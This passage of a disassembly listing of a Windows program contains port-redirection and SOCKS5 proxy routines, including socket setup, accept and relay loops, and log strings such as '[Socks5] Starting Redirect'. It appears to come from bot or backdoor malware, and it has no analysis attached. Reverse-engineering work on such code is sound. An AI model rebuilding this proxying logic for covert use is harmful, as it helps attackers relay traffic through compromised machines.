mov al, [ecx+11Ch]
test al, al
jnz short loc_42B3CC
loc_42B42C: ; CODE XREF: sub_42B3A0+1Ej
; sub_42B3A0+55j ...
mov edx, [esi+9Dh]
pop edi
pop esi
pop ebp
mov eax, [edx+0A1h]
pop ebx
cmp eax, 0FFFFFFFFh
jz short loc_42B448
push eax
nop
call near ptr 71AB9639h
loc_42B448: ; CODE XREF: sub_42B3A0+9Fj
add esp, 1000h
retn
sub_42B3A0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B480 proc near ; CODE XREF: sub_401663j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42B480
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F82
push offset off_443D80
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E1B0
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_42B480 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B4F0 proc near ; CODE XREF: ___:004013A7j sub_401B22j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401217
test [esp+4+arg_0], 1
jz short loc_42B508
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_42B508: ; CODE XREF: sub_42B4F0+Dj
mov eax, esi
pop esi
retn 4
sub_42B4F0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42B520 proc near ; CODE XREF: sub_401217j
jmp sub_40179E
sub_42B520 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B540 proc near ; CODE XREF: sub_40152Dj
var_50 = byte ptr -50h
var_40 = byte ptr -40h
var_30 = byte ptr -30h
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_C = byte ptr -0Ch
var_A = word ptr -0Ah
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, 1014h
call sub_436840
push ebx
push ebp
push esi
mov esi, ecx
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+99h]
mov [esi+0A5h], edi
mov cl, [eax+11Ch]
test cl, cl
jz loc_42B70A
mov ebx, 1
push 6
push ebx
push 2
nop
call near ptr 71AB3B91h
cmp eax, edi
mov [esi+0A5h], eax
jnz short loc_42B598
mov [esi+0A5h], edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 1014h
retn
; ---------------------------------------------------------------------------
loc_42B598: ; CODE XREF: sub_42B540+45j
mov dx, [esi+3Fh]
xor ecx, ecx
mov [esp+1Ch+var_8], ecx
push edx
mov [esp+20h+var_4], ecx
mov word ptr [esp+20h+var_8], 2
mov [esp+20h], ecx
mov [esp+20h+arg_0], ecx
nop
call near ptr 71AB2B66h
lea ecx, [esi+43h]
mov [esp+20h+var_A], ax
call sub_4017E4
push eax
call sub_40187F
add esp, 4
cmp eax, edi
mov [esp+20h+var_8], eax
jnz short loc_42B5F2
mov eax, [esi+0A5h]
push eax
call near ptr 71AB9639h
nop
pop edi
pop esi
pop ebp
pop ebx
add esp, 1014h
retn
; ---------------------------------------------------------------------------
loc_42B5F2: ; CODE XREF: sub_42B540+98j
mov edx, [esi+0A5h]
lea ecx, [esp+20h+var_C]
push 10h
push ecx
push edx
nop
call near ptr 71AB406Ah
cmp eax, edi
jnz short loc_42B622
mov eax, [esi+0A5h]
push eax
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
pop ebx
add esp, 1014h
retn
; ---------------------------------------------------------------------------
loc_42B622: ; CODE XREF: sub_42B540+C8j
mov edx, [esi+0A1h]
mov edi, dword_50FC50
lea ecx, [esp+2Ch+var_1C]
mov [esp+2Ch+var_1C], ebx
push ecx
push 8004667Eh
push edx
call edi ; dword_50FC50
mov ecx, [esi+0A5h]
lea eax, [esp+38h+var_28]
push eax
push 8004667Eh
push ecx
mov [esp+44h+var_28], ebx
call edi ; dword_50FC50
mov edx, [esi+99h]
mov al, [edx+11Ch]
test al, al
jz loc_42B70A
mov ebx, dword_50FC90
mov ebp, dword_50FC8C
loc_42B676: ; CODE XREF: sub_42B540+1BAj
mov ecx, [esi+0A5h]
push 0
lea eax, [esp+48h+var_20]
push 1000h
push eax
push ecx
call ebx ; dword_50FC90
mov edi, eax
test edi, edi
jz short loc_42B70A
jge short loc_42B6A0
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jnz short loc_42B702
loc_42B6A0: ; CODE XREF: sub_42B540+151j
mov eax, [esi+0A1h]
push 0
lea edx, [esp+58h+var_30]
push edi
push edx
push eax
call ebp ; dword_50FC8C
mov edx, [esi+0A1h]
push 0
lea ecx, [esp+68h+var_40]
push 1000h
push ecx
push edx
call ebx ; dword_50FC90
mov edi, eax
test edi, edi
jz short loc_42B70A
jge short loc_42B6DB
call near ptr 71AB94DCh
nop
cmp eax, 2733h
jnz short loc_42B702
loc_42B6DB: ; CODE XREF: sub_42B540+18Cj
mov ecx, [esi+0A5h]
push 0
lea eax, [esp+78h+var_50]
push edi
push eax
push ecx
call ebp ; dword_50FC8C
mov edx, [esi+99h]
mov al, [edx+11Ch]
test al, al
jnz loc_42B676
jmp short loc_42B70A
; ---------------------------------------------------------------------------
loc_42B702: ; CODE XREF: sub_42B540+15Ej
; sub_42B540+199j
push 0Ah
nop
call near ptr 2840000h
loc_42B70A: ; CODE XREF: sub_42B540+27j
; sub_42B540+124j ...
mov eax, [esi+0A1h]
mov edi, dword_50FC88
cmp eax, 0FFFFFFFFh
jz short loc_42B71E
push eax
call edi ; dword_50FC88
loc_42B71E: ; CODE XREF: sub_42B540+1D9j
mov esi, [esi+0A5h]
cmp esi, 0FFFFFFFFh
jz short loc_42B72C
push esi
call edi ; dword_50FC88
loc_42B72C: ; CODE XREF: sub_42B540+1E7j
pop edi
pop esi
pop ebp
pop ebx
add esp, 1014h
retn
sub_42B540 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 80h dup(0CCh)
db 6Ah ; j
db 0FFh
db 68h ; h
db 48h ; H
db 0BCh ; ¼
db 43h ; C
db 0
db 64h ; d
db 0A1h ; ¡
db 0
db 0
db 0
db 0
db 50h ; P
db 64h ; d
db 89h ; ‰
db 25h ; %
db 0
db 0
db 0
db 0
db 51h ; Q
db 56h ; V
db 8Bh ; ‹
db 0F1h ; ñ
db 89h ; ‰
db 74h ; t
db 24h ; $
db 4
db 0E8h ; è
db 0A0h ;
db 67h ; g
db 0FDh ; ý
db 0FFh
db 68h ; h
db 80h ; €
db 3Dh ; =
db 44h ; D
db 0
db 8Dh ;
db 4Eh ; N
db 11h
db 0C7h ; Ç
db 44h ; D
db 24h ; $
db 14h
db 0
db 0
db 0
db 0
db 0C7h ; Ç
db 6
db 0C0h ; À
db 0E1h ; á
db 43h ; C
db 0
db 0E8h ; è
db 0DAh ; Ú
db 5Dh ; ]
db 0FDh ; ý
db 0FFh
db 8Bh ; ‹
db 4Ch ; L
db 24h ; $
db 8
db 8Bh ; ‹
db 0C6h ; Æ
db 5Eh ; ^
db 64h ; d
db 89h ; ‰
db 0Dh
db 0
db 0
db 0
db 0
db 83h ; ƒ
db 0C4h ; Ä
db 10h
db 0C3h ; Ã
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42B830: ; CODE XREF: ___:loc_4015F0j
; ___:00401FAAj
push esi
mov esi, ecx
call sub_401B8B
test byte ptr [esp+8], 1
jz short loc_42B848
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_42B848: ; CODE XREF: ___:0042B83Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42B860 proc near ; CODE XREF: sub_401B8Bj
jmp sub_40179E
sub_42B860 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B880 proc near ; CODE XREF: sub_4019E2j
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_42B880
push eax
mov large fs:0, esp
sub esp, 28h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+3Fh]
lea ebx, [esi+43h]
push eax
mov ecx, ebx
lea edi, [esi+11h]
lea ebp, [esi+26h]
call sub_4017E4
mov ecx, [esi+3Bh]
push eax
push ecx
mov ecx, edi
call sub_4017E4
push eax
push offset aSRedirectingFr ; "[%s] Redirecting from Port %d to '%s:%d"...
mov ecx, ebp
call sub_4014D3
mov dl, [esi+98h]
push eax
mov al, [esi+97h]
push edx
push eax
push offset byte_4D60B5
call sub_401848
add esp, 24h
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
cmp eax, 0FFFFFFFFh
mov [esi+9Dh], eax
jz loc_42BAB8
mov dx, [esi+3Bh]
xor ecx, ecx
mov [esp+44h+var_2C], ecx
push edx
mov [esp+48h+var_28], ecx
mov word ptr [esp+48h+var_2C], 2
mov [esp+48h+var_24], ecx
mov [esp+48h+var_20], ecx
nop
call near ptr 71AB2B66h
mov ecx, [esi+9Dh]
mov word ptr [esp+44h+var_2C+2], ax
lea eax, [esp+44h+var_2C]
push 10h
push eax
push ecx
mov [esp+50h+var_34], 10h
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_42B96B
mov edx, [esi+9Dh]
push edx
call near ptr 71AB9639h
nop
pop edi
pop esi
pop ebp
pop ebx
mov ecx, [esp+34h+var_C]
mov large fs:0, ecx
add esp, 34h
retn
; ---------------------------------------------------------------------------
loc_42B96B: ; CODE XREF: sub_42B880+C9j
mov eax, [esi+99h]
mov cl, [eax+11Ch]
test cl, cl
jz loc_42BA64
loc_42B97F: ; CODE XREF: sub_42B880+1DEj
mov ecx, [esi+9Dh]
push 0Ah
push ecx
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jz loc_42BA45
mov ecx, [esi+9Dh]
lea edx, [esp+44h+var_34]
lea eax, [esp+44h+var_1C]
push edx
push eax
push ecx
nop
call near ptr 71AC1028h
mov ebp, eax
cmp ebp, 0FFFFFFFFh
jz loc_42BA45
xor edi, edi
cmp ebp, edi
jz loc_42BA45
push 0A9h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+44h+var_30], eax
cmp eax, edi
mov [esp+44h+var_4], edi
jz short loc_42B9E5
mov ecx, eax
call sub_401663
mov edi, eax
loc_42B9E5: ; CODE XREF: sub_42B880+15Aj
mov edx, [esi+99h]
mov [edi+9Dh], esi
mov [edi+99h], edx
mov eax, [esi+3Bh]
mov [edi+3Bh], eax
mov ecx, [esi+3Fh]
mov [edi+3Fh], ecx
push ebx
lea ecx, [edi+43h]
mov [esp+48h+var_4], 0FFFFFFFFh
call sub_401FBE
lea eax, [esi+26h]
lea ecx, [edi+26h]
push eax
mov [edi+0A1h], ebp
call sub_401FBE
mov dl, [esi+97h]
mov ecx, edi
mov [edi+97h], dl
mov al, [esi+98h]
mov [edi+98h], al
call sub_4013D4
loc_42BA45: ; CODE XREF: sub_42B880+111j
; sub_42B880+133j ...
push 0FAh
call near ptr 2840000h
nop
mov ecx, [esi+99h]
mov al, [ecx+11Ch]
test al, al
jnz loc_42B97F
loc_42BA64: ; CODE XREF: sub_42B880+F9j
mov eax, [esi+9Dh]
cmp eax, 0FFFFFFFFh
jz short loc_42BA76
push eax
nop
call near ptr 71AB9639h
loc_42BA76: ; CODE XREF: sub_42B880+1EDj
mov edx, [esi+3Fh]
mov ecx, ebx
push edx
call sub_4017E4
push eax
mov eax, [esi+3Bh]
push eax
lea ecx, [esi+11h]
call sub_4017E4
push eax
push offset aSFinishedRed_0 ; "[%s] Finished redirecting from port %d "...
lea ecx, [esi+26h]
call sub_4014D3
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 24h
loc_42BAB8: ; CODE XREF: sub_42B880+7Cj
mov ecx, [esp+44h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 34h
retn
sub_42B880 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42BB70 proc near ; CODE XREF: sub_4021DFj
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42BB70
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 10h
push 3
push 14h
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
mov esi, ecx
push 5
lea eax, [esp+74h+var_3C]
push 12h
push eax
mov dword ptr [esi+118h], 0
call sub_4019B5
add esp, 38h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017E4
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
sub_42BB70 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 5
push 12h
push 7
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea edx, [esp+38h]
push 12h
push edx
call sub_4019B5
add esp, 38h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017E4
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 14h
push 14h
push 8
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea ecx, [esp+3Ch]
push 12h
push ecx
call sub_4019B5
add esp, 3Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017E4
lea edx, [esi+60h]
push eax
push edx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 13h
push 0Bh
push 3
push 0Fh
push 13h
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea eax, [esp+40h]
push 12h
push eax
call sub_4019B5
add esp, 40h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017E4
lea ecx, [esi+8Eh]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 49h
push 13h
push 0Bh
push 3
push 0Fh
push 13h
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea edx, [esp+44h]
push 12h
push edx
call sub_4019B5
add esp, 44h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017E4
push eax
lea eax, [esi+0BCh]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 0Fh
push 14h
push 13h
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea ecx, [esp+54h]
push 12h
push ecx
call sub_4019B5
add esp, 3Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 5
call sub_4017E4
add esi, 0EAh
push eax
push esi
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 0A0h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42BE60: ; CODE XREF: ___:loc_40202Cj
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_43BD84
push eax
mov large fs:0, esp
sub esp, 68h
push ebx
push ebp
push esi
mov esi, [esp+84h]
mov ebp, ecx
push edi
lea edi, [esi+7Eh]
lea ecx, [ebp+4]
call sub_4017E4
push eax
mov ecx, edi
call sub_4012EE
or ebx, 0FFFFFFFFh
test eax, eax
jnz loc_42BFC7
push 0A1h
call sub_4367FA
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h
dd 93E8C88Bh, 8BFFFD57h, 360068F8h, 448D0044h, 16A4C24h
dd 11C85C6h, 50010000h, 9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h
dd 0FFFD57BAh, 84C7C88Bh, 8024h, 100h, 58DEE800h, 0E850FFFDh
dd 777F000Ch, 4C48390h, 48244C8Dh, 893B4789h, 80249Ch
dd 3E80000h, 68FFFD53h, 443600h, 4C244C8Dh, 8B51026Ah
dd 5778E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 6074E800h
dd 4C8DFFFDh, 9C894824h, 8024h, 52CCE800h, 68FFFDh, 8D004436h
dd 6A4C2454h, 0CE8B5203h, 0FD5741E8h, 0C7C88BFFh, 802484h
dd 30000h, 65E80000h, 50FFFD58h, 7EFF93E8h, 0C4839077h
dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h, 0FFFD528Ah
dd 8D69468Dh, 0E850264Fh, 0FFFD6016h, 938E8Ah, 8F880000h
dd 97h, 94968Ah, 0CF8B0000h, 989788h, 0DE80000h
db 54h, 0FDh, 0FFh
; ---------------------------------------------------------------------------
loc_42BFC7: ; CODE XREF: ___:0042BE9Dj
lea ecx, [ebp+32h]
call sub_4017E4
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_42C0F7
push 9Dh
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+88h], eax
test eax, eax
mov dword ptr [esp+80h], 4
jz short loc_42C00E
mov ecx, eax
call sub_401889
mov edi, eax
jmp short loc_42C010
; ---------------------------------------------------------------------------
loc_42C00E: ; CODE XREF: ___:0042C001j
xor edi, edi
loc_42C010: ; CODE XREF: ___:0042C00Cj
push offset asc_443600 ; " "
lea eax, [esp+4Ch]
push 1
mov byte ptr [ebp+11Ch], 1
push eax
mov ecx, esi
mov [esp+8Ch], ebx
mov [edi+99h], ebp
call sub_4016AE
push eax
lea ecx, [edi+58h]
mov dword ptr [esp+84h], 5
call sub_401FBE
lea ecx, [esp+48h]
mov [esp+80h], ebx
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+4Ch]
push 2
push ecx
mov ecx, esi
call sub_4016AE
push eax
lea ecx, [edi+6Dh]
mov dword ptr [esp+84h], 6
call sub_401FBE
lea ecx, [esp+48h]
mov [esp+80h], ebx
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+4Ch]
push 3
push edx
mov ecx, esi
call sub_4016AE
push eax
lea ecx, [edi+82h]
mov dword ptr [esp+84h], 7
call sub_401FBE
lea ecx, [esp+48h]
mov [esp+80h], ebx
call sub_401226
lea eax, [esi+69h]
lea ecx, [edi+26h]
push eax
call sub_401FBE
mov cl, [esi+93h]
mov [edi+97h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+98h], dl
call sub_4013D4
loc_42C0F7: ; CODE XREF: ___:0042BFDAj
lea ecx, [ebp+60h]
call sub_4017E4
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_42C220
push 0A2h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+88h], eax
test eax, eax
mov dword ptr [esp+80h], 8
jz short loc_42C13E
mov ecx, eax
call sub_4018DE
mov edi, eax
jmp short loc_42C140
; ---------------------------------------------------------------------------
loc_42C13E: ; CODE XREF: ___:0042C131j
xor edi, edi
loc_42C140: ; CODE XREF: ___:0042C13Cj
push offset asc_443600 ; " "
lea eax, [esp+4Ch]
push 1
mov byte ptr [ebp+11Ch], 1
push eax
mov ecx, esi
mov [esp+8Ch], ebx
mov [edi+99h], ebp
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+80h], 9
call sub_4017E4
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+48h]
mov [edi+3Bh], eax
mov [esp+80h], ebx
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+4Ch]
push 2
push ecx
mov ecx, esi
call sub_4016AE
push offset aTrue ; "true"
mov ecx, eax
mov dword ptr [esp+84h], 0Ah
call sub_401500
test eax, eax
lea ecx, [esp+48h]
mov [esp+80h], ebx
setz byte ptr [esp+88h]
call sub_401226
mov al, [esp+88h]
test al, al
jz short loc_42C1EE
mov byte ptr [edi+9Dh], 1
jmp short loc_42C1F5
; ---------------------------------------------------------------------------
loc_42C1EE: ; CODE XREF: ___:0042C1E3j
mov byte ptr [edi+9Dh], 0
loc_42C1F5: ; CODE XREF: ___:0042C1ECj
lea edx, [esi+69h]
lea ecx, [edi+26h]
push edx
call sub_401FBE
mov al, [esi+93h]
mov [edi+97h], al
mov cl, [esi+94h]
mov [edi+98h], cl
mov ecx, edi
call sub_4013D4
loc_42C220: ; CODE XREF: ___:0042C10Aj
lea ecx, [ebp+8Eh]
call sub_4017E4
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_42C2ED
push 0A1h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+88h], eax
test eax, eax
mov dword ptr [esp+80h], 0Bh
jz short loc_42C26A
mov ecx, eax
call sub_40216C
mov edi, eax
jmp short loc_42C26C
; ---------------------------------------------------------------------------
loc_42C26A: ; CODE XREF: ___:0042C25Dj
xor edi, edi
loc_42C26C: ; CODE XREF: ___:0042C268j
push offset asc_443600 ; " "
lea edx, [esp+4Ch]
push 1
mov byte ptr [ebp+11Ch], 1
push edx
mov ecx, esi
mov [esp+8Ch], ebx
mov [edi+99h], ebp
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+80h], 0Ch
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+48h]
mov [edi+3Bh], eax
mov [esp+80h], ebx
call sub_401226
lea eax, [esi+69h]
lea ecx, [edi+26h]
push eax
call sub_401FBE
mov cl, [esi+93h]
mov [edi+97h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+98h], dl
call sub_4013D4
loc_42C2ED: ; CODE XREF: ___:0042C236j
lea ecx, [ebp+0BCh]
call sub_4014D3
lea edi, [esi+7Eh]
push eax
mov ecx, edi
mov [esp+8Ch], edi
call sub_4012EE
test eax, eax
jnz loc_42C519
lea ecx, [esp+30h]
call sub_401424
lea ecx, [esp+18h]
mov dword ptr [esp+80h], 0Dh
call sub_401424
push offset asc_443600 ; " "
lea eax, [esp+4Ch]
push 2
push eax
mov ecx, esi
mov byte ptr [esp+8Ch], 0Eh
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+80h], 0Fh
call sub_4017E4
push eax
lea ecx, [esp+34h]
call sub_401A87
lea ecx, [esp+48h]
mov byte ptr [esp+80h], 0Eh
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+4Ch]
push 3
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+80h], 10h
call sub_4017E4
push eax
lea ecx, [esp+1Ch]
call sub_401A87
lea ecx, [esp+48h]
mov byte ptr [esp+80h], 0Eh
call sub_401226
lea ecx, [esp+30h]
call sub_4014D3
cmp eax, offset byte_446F70
jnz short loc_42C3CF
push offset aRoot ; "root"
lea ecx, [esp+1Ch]
call sub_401A87
loc_42C3CF: ; CODE XREF: ___:0042C3BFj
lea ecx, [esp+18h]
call sub_4014D3
cmp eax, offset byte_446F70
jnz short loc_42C3ED
push offset byte_446F70
lea ecx, [esp+1Ch]
call sub_401A87
loc_42C3ED: ; CODE XREF: ___:0042C3DDj
push offset asc_443600 ; " "
lea edx, [esp+4Ch]
push 1
push edx
mov ecx, esi
call sub_4016AE
mov edi, eax
lea ecx, [esp+18h]
mov byte ptr [esp+80h], 11h
call sub_4017E4
push eax
lea ecx, [esp+34h]
call sub_4017E4
push eax
mov ecx, edi
call sub_4017E4
mov edi, dword_50FB08
push eax
call edi ; dword_50FB08
add esp, 4
lea ecx, [esi+69h]
push eax
push offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "...
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D60B5
call sub_401848
add esp, 20h
lea ecx, [esp+48h]
mov byte ptr [esp+80h], 0Eh
call sub_401226
lea ecx, [esp+18h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+28h], esp
push eax
call sub_401861
lea ecx, [esp+48h]
mov byte ptr [esp+98h], 12h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+44h], esp
push eax
call sub_401861
push offset asc_443600 ; " "
lea edx, [esp+94h]
push 1
push edx
mov ecx, esi
mov byte ptr [esp+0BCh], 13h
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+0B0h], 15h
call sub_4017E4
push eax
call edi ; dword_50FB08
add esp, 4
push eax
call sub_401C17
add esp, 34h
lea ecx, [esp+60h]
mov byte ptr [esp+80h], 0Eh
call sub_401226
lea ecx, [esp+18h]
mov byte ptr [esp+80h], 0Dh
call sub_401226
lea ecx, [esp+30h]
mov [esp+80h], ebx
call sub_401226
mov edi, [esp+88h]
loc_42C519: ; CODE XREF: ___:0042C30Cj
lea ecx, [ebp+0EAh]
call sub_4017E4
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_42C536
mov [ebp+11Ch], al
loc_42C536: ; CODE XREF: ___:0042C52Ej
mov ecx, [esp+78h]
pop edi
pop esi
pop ebp
mov al, 1
mov large fs:0, ecx
pop ebx
add esp, 74h
retn 4
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 1C0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42C710 proc near ; CODE XREF: sub_4021A8j
var_4 = dword ptr -4
push ecx
mov edx, dword_447A8D
push esi
mov esi, ecx
mov eax, [esi+99h]
mov ecx, [eax+118h]
cmp edx, ecx
jl short loc_42C731
inc ecx
mov [eax+118h], ecx
loc_42C731: ; CODE XREF: sub_42C710+18j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+8]
mov eax, [esi+99h]
mov [esp+8+var_4], esi
mov ecx, [eax+118h]
dec ecx
mov [eax+118h], ecx
lea ecx, [esp+8+var_4]
push ecx
mov ecx, offset byte_4E6EDB
call sub_40120D
sub_42C710 endp
; ---------------------------------------------------------------------------
xor eax, eax
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42C790 proc near ; CODE XREF: sub_401E06j
var_190 = byte ptr -190h
sub esp, 190h
lea eax, [esp+190h+var_190]
push eax
push 101h
call sub_436F4E
sub_42C790 endp
; ---------------------------------------------------------------------------
db 85h, 0C0h, 74h
dd 840D8B19h, 500050FAh, 6840C183h, 445414h, 54E89051h
dd 83778146h, 0C4810CC4h, 190h, 909090C3h, 90909090h, 4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_42C7E0: ; CODE XREF: ___:00401D7Aj
mov eax, [esp+4]
test eax, eax
jz short loc_42C7F3
mov ecx, [eax+18h]
test ecx, ecx
jnz short loc_42C7F3
add eax, 44h
retn
; ---------------------------------------------------------------------------
loc_42C7F3: ; CODE XREF: ___:0042C7E6j
; ___:0042C7EDj
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42C810 proc near ; CODE XREF: sub_401A69j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_12 = word ptr 16h
sub esp, 14h
mov ecx, [esp+14h+arg_0]
xor eax, eax
mov [esp+14h+var_10], eax
push ebx
push ebp
mov [esp+1Ch+var_C], eax
push esi
push edi
mov [esp+24h+var_8], eax
push ecx
mov [esp+28h+var_14], 1
mov [esp+28h+var_4], eax
mov word ptr [esp+28h+var_10], 2
nop
call near ptr 77C46125h
mov ebp, eax
push 3Ah
push ebp
nop
call near ptr 77C47660h
mov esi, eax
xor ebx, ebx
add esp, 0Ch
cmp esi, ebx
jnz short loc_42C884
push offset aTcp ; "tcp"
push offset aFtp ; "ftp"
call sub_436F96
; ---------------------------------------------------------------------------
dd 6C75C33Bh, 44546868h, 7BE89000h, 837780A5h, 0C03304C4h
dd 5B5D5E5Fh, 0C314C483h
; ---------------------------------------------------------------------------
loc_42C884: ; CODE XREF: sub_42C810+47j
mov [esi], bl
mov eax, dword_50FB14
inc esi
cmp dword ptr [eax], 1
jle short loc_42C8A2
movsx ecx, byte ptr [esi]
push 4
push ecx
nop
call near ptr 77C1C561h
add esp, 8
jmp short loc_42C8B2
; ---------------------------------------------------------------------------
loc_42C8A2: ; CODE XREF: sub_42C810+7Fj
mov eax, dword_50FA78
movsx edx, byte ptr [esi]
mov ecx, [eax]
mov al, [ecx+edx*2]
and eax, 4
